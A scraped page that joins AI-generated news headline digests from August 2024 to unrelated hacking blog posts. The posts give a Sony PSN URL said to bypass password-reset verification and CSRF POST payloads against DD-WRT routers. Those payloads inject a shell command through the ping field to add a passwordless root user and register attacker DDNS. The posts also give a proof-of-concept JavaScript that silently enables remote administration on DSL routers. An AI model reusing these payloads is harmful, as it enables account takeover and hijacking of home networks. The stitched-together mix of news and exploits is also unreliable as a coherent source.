Headlines Summary Aug 11, 2024

Aviation And Transportation Safety - Brazilian air-crash investigators are examining the remains of a twin-engine passenger plane that crashed en route to São Paulo, killing all 62 people on board. Geopolitical Tensions And Military Capabilities - Ukrainian military actions in Kursk raise questions about Russian military capabilities and Putin's red lines. - Tokyo's military drills with Manila and a defense equipment agreement with Vietnam are likely to catch China's attention. Sports And International Competitions - The 2024 USA men's basketball team is being compared to the 1992 Olympic Dream Team after winning the gold medal. - Team USA's 3-point maestro secured an Olympic gold medal by defeating France. Economic And Financial Developments - Y'all Street is emerging as a new financial hub, gaining on New York. - China's economy is struggling due to its reliance on exports, making it vulnerable to proposed tariffs by the Republican presidential nominee. Health And Social Issues - Ozempic is being explored for its potential to improve sex life. - The rise of the 'pet directive' allows more people to plan for their animals' future. - A doctor is under scrutiny for prescribing a large number of opioids, leading to multiple patient overdoses.

Hope you find this useful! This is an AI generated summary based on news headlines collected over the past 24 hours Generated At Aug 11, 2024 15:08 UTC

Copyright © 2024 | GZR

Headlines Summary Aug 10, 2024

Politics And International Relations - The Democratic leader's effectiveness in maintaining party unity. - SEATO's historical significance and its impact on current geopolitics. - Washington's critical shift in perspective on Iran's nuclear efforts. - Republican concerns about the Democratic vice presidential nominee's stance on Beijing. - U.S. lawmakers' push to restrict a trade provision favoring Chinese retailers. Economic And Corporate Developments - Unknown startups and female-focused companies sponsoring women's sports leagues. - Jeep-maker Stellantis laying off 2,450 factory workers in Michigan. - Netflix's deal with CBS Sports to produce NFL Christmas games. - Samsung Electronics recalling over one million electric stoves in the U.S. - Inflation data potentially leading to significant stock market fluctuations. Security And Defense - Iran's advancements in nuclear research and its implications. - China's call for more intensive testing of U.S. track and field competitors. - Increased military deployments in deep-sea areas due to resource competition. - Targeted killings of militant leaders reigniting debates on Israeli-Palestinian violence. - A China-U.S. maritime conflict's potential impact on Southeast Asia, including the cyber domain. Social And Cultural Trends - The evolution of floral displays from funerals to showing respect to the living. - Minnesota's pursuit of 'net zero' energy goals. - The rise of mirrored cabins designed for immersive travel experiences. - The issue of underweight athletes in elite climbing gaining public attention. - The billionaire's battles in the name of free speech. Technology And Media - Susan Wojcicki's legacy at Google and YouTube. - Netflix's strategic moves in sports broadcasting. - The impact of aggressive dealmaking by Warner Bros. studio heads. - Insights on major tech companies like Grindr, Tata Communications, and Singtel. - The role of cybersecurity in potential China-U.S. maritime conflicts.

Hope you find this useful! This is an AI generated summary based on news headlines collected over the past 24 hours Generated At Aug 10, 2024 15:08 UTC

Copyright © 2024 | GZR

Headlines Summary Aug 9, 2024

Economics - The average rate on the standard 30-year fixed mortgage fell to 6.47%. - Eli Lilly shares soared by about 8%. - Paramount Global wrote down the value of its cable-TV networks by nearly $6 billion. - Oil prices edged up in Asian trade amid continued geopolitical tensions in the Middle East. - Sales of electric vehicles and hybrids in China surpassed those of internal-combustion-engine cars for the first time. Politics - Republicans escalated attacks on Walz's record in the Army National Guard. - The Democratic vice-presidential candidate has made dozens of visits to China. - Former President Donald Trump praised the state election board. - Local police warned the Secret Service about the warehouse used in the assassination attempt on Trump. - The U.S. warned Iran that its newly elected government and economy could suffer a devastating blow if Tehran mounts a major attack against Israel. Entertainment - Fans gathered in central Vienna to sing and trade bracelets after the singer's three concerts in the city were canceled. - Political cartoons from the desk of Matt Wuerker. - Team USA basketball was on the ropes in its semifinal game against Serbia. - The presumed gold medal winners encounter rough water in the semifinals. - The event will bring 'the unique cinematic language, aesthetics and historical development of Ukrainian cinema' to the Chinese capital. Technology - AI startups and tech giants are rallying to quash a bill moving through the California legislature. - A flood of anti-Trump videos, generated with the help of AI, traced back to a web of overseas accounts. - China deploys several advanced ships and technologies to explore marine biology, fisheries, and mineral resources. - Samsung Electronics is recalling more than one million electric stoves in the U.S. - Buyout and infrastructure firms see artificial intelligence driving demand for data-center investing. Geopolitics - The Biden administration has been mounting an intensive campaign to encourage both sides to de-escalate. - Australia-Mongolia relations are going from strength to strength. - Tehran and its allies aren't ready for a full-scale conflict with Israel and the U.S. - The U.S.'s relationship with Malaysia has grown rockier. - U.S. lawmakers move to restrict trade provision favored by China's e-commerce giants.

Hope you find this useful! This is an AI generated summary based on news headlines collected over the past 24 hours Generated At Aug 9, 2024 15:08 UTC

Copyright © 2024 | GZR

Headlines Summary Aug 8, 2024

Business And Finance - Private-equity firm acquisition builds on initial minority investment in FGS. - Weakening consumer spending impacts Disney's theme parks. - Warner Bros. Discovery reports nearly $10 billion loss due to industry changes. - U.S. oil production set to break annual record peak. - Novo Nordisk's shares drop due to missed sales expectations for weight-loss drug. Geopolitical Tensions - Russia evacuates villages in Kursk Region amid Ukrainian incursion. - Philippine military reports Chinese navy ships tailing maneuvers. - Hamas's elevation of Yahya Sinwar signals stronger ties with Iran. - U.S. forces launch air strikes against Iran-backed Houthi rebels in Yemen. - China's regional banks under scrutiny for snapping up treasury notes. Technology And Innovation - SpaceX aims to launch world's largest rocket multiple times annually. - DJI drone users press cases as Congress considers national-security legislation. - NASA seeks lunar time scale for safer missions in crowded outer space. - Regulators investigate U.S. banks' handling of funds on Zelle platform. - China's Haidilao expands to the U.S. with unique dining experiences. Economic Trends - Policymakers worry about prolonged slack in the jobs market impacting consumer spending. - U.S. workers face smaller pay raises as companies cut salary increase budgets. - U.S. stocks falter amid early rally, with major indices closing down. - Gold prices stabilize after early week sell-off and China's purchasing pause. - European natural-gas prices hold near highest level amid regional tensions. Health And Environment - Tropical storm Debby expected to cause catastrophic flooding in Carolinas and Virginia. - CVS's Medicare business struggles, leading to cost-cutting and executive departure. - Boy Scouts of America bankruptcy sees one-fifth of sex-abuse claimants missing paperwork. - French explorer's family sues OceanGate over submersible warnings. - Zurich Insurance reports strong earnings, exceeding financial targets.

Hope you find this useful! This is an AI generated summary based on news headlines collected over the past 24 hours Generated At Aug 8, 2024 15:08 UTC

Copyright © 2024 | GZR

How to reset a Playstation Network password without knowing answers to the security questions or DoB

When you use the forgot password link on PSN, one of the following types of URLs will be sent to you:

https://account.sonyentertainmentnetwork.com/reg/account/validate-forgot-password-token!input.action?token=[TOKEN]&request_locale=en_US&service-entity=psn 

https://account.sonyentertainmentnetwork.com/liquid/external/validate-forgot-password-token!input.action?token=[TOKEN]&request_locale=en_US&service-entity=psn

Either of these link need you to know either the 'date of birth' or answer to the secret question.

To skip the verification step, you can try using the following URL(paste the token string sent to you in email):

https://account.sonyentertainmentnetwork.com/security/validate-password-reset-token!input.action?token=[TOKEN]&request_locale=en_US 

Worked for me :)

Attacking wireless routers running DD WRT

The previous post talks about CSRF attacks on DSL modems. A similar attack on routers with the dd wrt firmware is also possible. I will try a few different possibilities here which eventually lead to the attacker taking control of the router using a simple javascript hosted on another website.

All requests need to be made to the target "apply.cgi". Possible hosts can be 192.168.1.1, 192.168.0.1, 10.0.0.1, 10.0.1.1 and so on.


1. Enable remote http administration on port 8989

The following POST request needs to be made:

submit_button=Management&action=ApplyTake&remote_management=1&http_wanport=8989

2. Add a new user(outsider) to the system and set it's password as null
POST Request to add user every time the router reboots:

submit_button=Ping&action=Apply&submit_type=startup&change_action=gozila_cgi&next_page=Diagnostics.asp&ping_ip=echo+outsider%3A%3A0%3A0%3ARoot+User%2C%2C%2C%3A%2Ftmp%2Froot%3A%2Fbin%2Fsh+%3E%3E+%2Fetc%2Fpasswd

POST Request to instantly add user(gets erased if when router reboots, hence to be used with previous POST request):

submit_button=Ping&action=ApplyTake&submit_type=start&change_action=gozila_cgi&next_page=Diagnostics.asp&ping_ip=echo+outsider%3A%3A0%3A0%3ARoot+User%2C%2C%2C%3A%2Ftmp%2Froot%3A%2Fbin%2Fsh+%3E%3E+%2Fetc%2Fpasswd

3. Add a DDNS entry to obtain the public IP of the victim(incase the attack is targeted to a fixed public IP):
POST request if the DDNS provider is afraid.org:

submit_button=DDNS&action=ApplyTake&change_action=&submit_type=&ddns_enable=2&ddns_username_2=uname&ddns_passwd_2=passwrd&ddns_hostname_2=wrtvictim.net&ddns_wan_ip=0&ddns_force=1

* for different providers different values for the ddns_enable parameter can be tried. In the above case its afraid.org, username is uname, password is passed and the hostname is wrtvictim.net


Once an attacker has control over the router, other things can be done like setting up port forwarding rules, setting up a rogue DNS server for DHCP clients, setting it up as a VPN server/client, add access restrictions to prevent access to certain domains, setting up an identified host in the DMZ etc. Though I haven't tried yet, a modified firmware can also be uploaded on to the router using the upgrade functionality. If a connection over the remote port does not allow this, port forwarding can be setup to make the connection appear to originate from the LAN.

Attacking a DSL modem/router using a simple javascript

This is a known issue for a few years but its surprising that DSL modem/router manufacturers have still not fixed the issue(at least not mine ;)). My router's administration web server  accepts HTTP POST requests from a user with an authenticated session without validating them against any token or checking the referrer section in the HTTP header. Thus, the router can accept requests originating from a user's browser irrespective of whether the request was generated voluntarily by the user from the router's web interface or if an automated script stored on another website generated that request on the user's behalf. The latter one is the risky condition we are talking about.

I wrote a small proof of concept javascript to craft a POST request to a specific URL of the router's web server in order to open the router to allow remote administration. This URL also accepts the credentials used for connecting remotely. Hence, the malicious script successfully pushes the username and password of the attacker's choice, using the victim's authenticated session with the DSL router.

The above part is very easy to perform and the victim's modem configured to welcome remote connections over the public network. The challenge for the attacker now is to find the public IP address of the victim, otherwise the above actions are of no use. Some techniques are possible:

1. Push settings for DDNS into the DSL router's configuration
2. Host a listener online which logs incoming connections' IP addresses and make the above malicious script place a sample request to this listener.
3. Include additional script to connect to a service like whatismyip.com and fetch the public ip address and post it on some anonymous board online(a little difficult to achieve due to browser restrictions)

The first one is manageable if the attack is targeted to one particular individual. If the router reboots or jumps IP addresses, the attacker can constantly keep a track. There are many free DDNS services available online and the attacker can maintain anonymity too.

The second one risks the attacker being identified due to the ownership of the listener service. But multiple victims can be targeted and maintained.

The third option provides both, anonymity and unlimited victims, but is very difficult to achieve due to browser restrictions. I am still working on a sample javascript to achieve it but there are a couple of things holding me back:
a. Response from whatismyip.com or any other service cannot be accessed by a script running on another domain.
b. I haven't yet found an anonymous online board which I can use to post messages using automated scripts. This is mainly due to the use of CAPTCHA or some other human verification tool being used by these services.

 Another challenge is to guess the Private IP address of the DSL router, for the javascript to write configuration data successfully. The most common ones are 192.168.0.1, 192.168.1.1, 10.0.0.1, 10.0.1.1 and so on. All the most likely IP addresses can be targeted/brute forced. Finally, below is the script I wrote specifically for my router. It will vary depending on the model and make of the router.

<script type="text/javascript">
function post_to_url(router) {

method = "post";
var form = document.createElement("form");
    form.setAttribute("method", method);
    form.setAttribute("action", "http://" + router + "/remote_config");

//Post variables
        var userid = document.createElement("input");
        userid.setAttribute("type", "hidden");
        userid.setAttribute("name", "__AdminUserID");
        userid.setAttribute("value", "hacker");
        form.appendChild(userid);

        var password = document.createElement("input");
        password.setAttribute("type", "hidden");
        password.setAttribute("name", "__AdminPassword");
        password.setAttribute("value", "hackerpass");
        form.appendChild(password);

        var timeoutdisable = document.createElement("input");
        timeoutdisable.setAttribute("type", "hidden");
        timeoutdisable.setAttribute("name", "TimeOut_Disable");
        timeoutdisable.setAttribute("value", "on");
        form.appendChild(timeoutdisable);
 
        var enableremoteaccess = document.createElement("input");
        enableremoteaccess.setAttribute("type", "hidden");
        enableremoteaccess.setAttribute("name", "Enable_RemoteAccess");
        enableremoteaccess.setAttribute("value", "on");
        form.appendChild(enableremoteaccess);

    document.body.appendChild(form);
    form.submit();
}
</script>


The above script sets the POST parameters __AdminUserID, __AdminPassword, Timeout_Disable and Enable_RemoteAccess with the values of the attacker's choice and makes a POST request to the router's IP address. I have masked the actual parameters used by my DSL modem(for no reason at all ;)) but as long as you get the parameter names right, the attack surely works.

And the script can be called using the following:

<script>post_to_url("192.168.0.1")</script>

<script>post_to_url("192.168.1.1")</script>

<script>post_to_url("10.0.1.1")</script>


I also have a few wireless routers lying around with the dd-wrt firmware on them. Next, my goal is to test if a similar attack works on them too.
In conclusion, for this kind of an attack to work, there are numerous pre-conditions that might dictate the success or failure of such an attack:

1. Victim visits the malicious website
2. Victim has an authenticated session with the router's web interface
3. The modem has not changed its public IP address
4. The POST request contains the exact parameters required to make the change.

There can be more damaging effects of such an attack:

a. The DNS address is set to a malicious DNS server in the modem configuration
b. The ssid and network key of the router is modified
c. A denial of service attack is carried out by blocking access to certain public IPs/URLs on the internet
d. The dd-wrt firmware allows users to execute commands from the web interface, the attacker can craft an attack to run any command on the victim's router